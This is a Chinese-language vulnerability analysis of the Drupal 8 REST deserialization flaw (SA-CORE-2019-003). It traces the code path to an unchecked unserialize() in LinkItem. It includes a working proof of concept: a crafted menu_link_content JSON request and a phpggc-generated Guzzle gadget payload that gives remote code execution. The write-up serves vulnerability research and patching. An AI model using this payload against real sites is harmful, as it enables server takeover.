0x01 概述
https://www.drupal.org/sa-core-2019-003
0x02 影响版本
- Drupal 8.6.x < 8.6.10
- Drupal 8.5.x < 8.5.11
影响条件
- 站点启用了
Drupal 8核心RESTfulWeb服务(rest)模块,并允许PATCH或POST请求 - 站点启用了另一个
Web服务模块,如Drupal 8中的JSON:API,或Drupal 7中的Services或RESTful Web Services
0x03 Web Services
Drupal框架的RESTful Web服务是为了更方便地访问Drupal站点的资源,支持常规的api请求,如GET / POST / PATCH / DELETE(出于一些原因不支持PUT )
更详细的介绍可以参考 https://www.drupal.org/docs/8/core/modules/rest/overview
这个漏洞影响REST Web Services,所以首先在Drupal 8中开启rest服务
- 下载REST UI并解压至
core/modules/目录 - 在
admin-config-extend勾选Web services中的RESTful Web Services和REST UI并安装,drupal会自动安装Serialization,最好也安装HAL扩展,后续会使用hal_json数据格式
HAL(Hypertext Application Language)是一个简单的API数据格式.它以xml和json为基础,让API变的可读性更高,并且具有discoverable的特性.当我们拿到HAL API返回的数据时,我们将会很容易根据当前数据查找与其相关的数据。在Micro Service API设计中,倾向于采用HAL这种类型的数据交换格式.
HAL的出现,主要弥补plain json在API交互中的不足.让plain json更具有描述性,更具有导航性.
- 开启权限。在
admin-config-services-rest开启匿名用户注册权限

0x04 漏洞分析
根据补丁位置判断漏洞点在unserialize部分,因此这是一个反序列化漏洞。补丁主要修复了core/modules/link/src/Plugin/Field/FieldType/LinkItem.php和core/lib/Drupal/Core/Field/Plugin/Field/FieldType/MapItem.php两个文件,这两处应该都是能触发的,这里选择LinkItem进行分析


看一下setValue()方法

可以看到简单判断了$values['options']后直接进行了反序列化,没有进行数据合法性校验,如果能够控制$values['options']就能直接触发漏洞
接下来梳理一下数据传递过程,以及如何进入到setValue()方法
通过rest接口注册用户时,发送的数据包类似这个样子

(图片来源:https://areatype.com/blog/register-user-drupal-8-rest-api)
在进入drupal后,由RequestHandler->handle()方法处理请求,进入deserialize()方法,然后调用$this->serializer->denormalize()反序列化出相应的类,此时的$unserialized为Serializer类


随后调用Serializer->denormalize()方法,在该方法中首先通过getDenormalizer()获得一个匹配的denormalizer,才能进行后续的denormalize()操作,匹配的过程则是和当前类的supportedInterfaceOrClass变量比较,返回最终可以进行denormalize()操作的类
if ($normalizer = $this->getDenormalizer($data, $type, $format, $context)) {
return $normalizer->denormalize($data, $type, $format, $context);
}
此处跟入比较深,可以略过,总之返回匹配的类是ContentEntityNormalizer,跟进它的denormalize()方法
$typed_data_ids = $this->getTypedDataIds($data['_links']['type'], $context);
$entity_type = $this->getEntityTypeDefinition($typed_data_ids['entity_type']);
这个方法中根据 _links.type 的值取出typed data IDs,_links.type 值即是post json部分的
"type": {
"href": "http://127.0.0.1/drupal-8.6.5/rest/type/user/user"
}
值,这个值决定了后面获取到的Entity实体,通过getTypeInternalIds()方法取出所有预定义的类型并返回相应的URI,然后才获取对应的实体类型定义

接着会调用这个实体的denormalizeFieldData()方法,在denormalizeFieldData()中调用相应的denormalize()方法,最终调用到这个field_item的setValue()。因此为了触发到存在漏洞的setValue(),我们需要让field_item为LinkItem类或者MapItem类,这个赋值过程在获取到相应实体后的getStorage()->create()过程:
$entity = $this->entityManager->getStorage($typed_data_ids['entity_type'])->create($values);
调用流程create()->doCreate()->initFieldValues(),此时的调用栈是这样的:

现在的问题就是找到相应的Entity,在其中实体化了LinkItem类或MapItem类,通过查找,在core/modules中这样的类有两个,Shortcut和MenuLinkContent,这里选择MenuLinkContent来触发,此时的_links.type为http://127.0.0.1/drupal-8.6.5/rest/type/menu_link_content/menu_link_conten

因此最后的数据包类似这个样子,注意link必须为数组
{
"link": [
{
"options": payload
}
],
"_links": {
"type": {
"href": "http://127.0.0.1/drupal-8.6.5/rest/type/menu_link_content/menu_link_content"
}
}
}
发送数据包成功触发到setValue()

接下来就是寻找内置的风险类了,进入setValue()后通过unserialize()执行代码。
0x05 PoC
在之前介绍phpggc工具的时候总结了Drupal中存在风险的三个类,分别可以导致远程代码执行、任意文件写入和任意文件删除,这三个类分别是
FnStreamFileCookieJarWindowsPipes
具体参考:由phpggc理解php反序列化漏洞
同样地,借助phpggc直接生成序列化数据:
root@localhost:/opt/phpggc# ./phpggc guzzle/rce1 assert 'phpinfo()' -j
"O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\u0000GuzzleHttp\\Psr7\\FnStream\u0000methods\";a:1:{s:5:\"close\";a:2:{i:0;O:23:\"GuzzleHttp\\HandlerStack\":3:{s:32:\"\u0000GuzzleHttp\\HandlerStack\u0000handler\";s:9:\"phpinfo()\";s:30:\"\u0000GuzzleHttp\\HandlerStack\u0000stack\";a:1:{i:0;a:1:{i:0;s:6:\"assert\";}}s:31:\"\u0000GuzzleHttp\\HandlerStack\u0000cached\";b:0;}i:1;s:7:\"resolve\";}}s:9:\"_fn_close\";a:2:{i:0;r:4;i:1;s:7:\"resolve\";}}"
发送payload

注意:如果返回码为422且报下面这个错误,尝试在/admin/config/development/performance点击清除缓存
{"message":"Type http:\/\/127.0.0.1\/drupal-8.6.5-1\/rest\/type\/shortcut\/default does not correspond to an entity on this site."}
另外尝试用PoC脚本利用,每篇文章对应的node id利用一次就失效了,再次利用需要换一个node id,暂时没有研究为什么。
0x06 总结
这个漏洞触发点并不复杂,但是调用链相当深,利用条件则是开启了REST Web services,并且允许用户通过rest api注册,在一些功能比较齐全的站点或者方便插件调用时可能会开启,影响面减小了不少,但并不影响这依然是个非常巧妙的漏洞,也进一步说明了开发时考虑不周全的话,风险点就在那里,被利用只是时间问题。
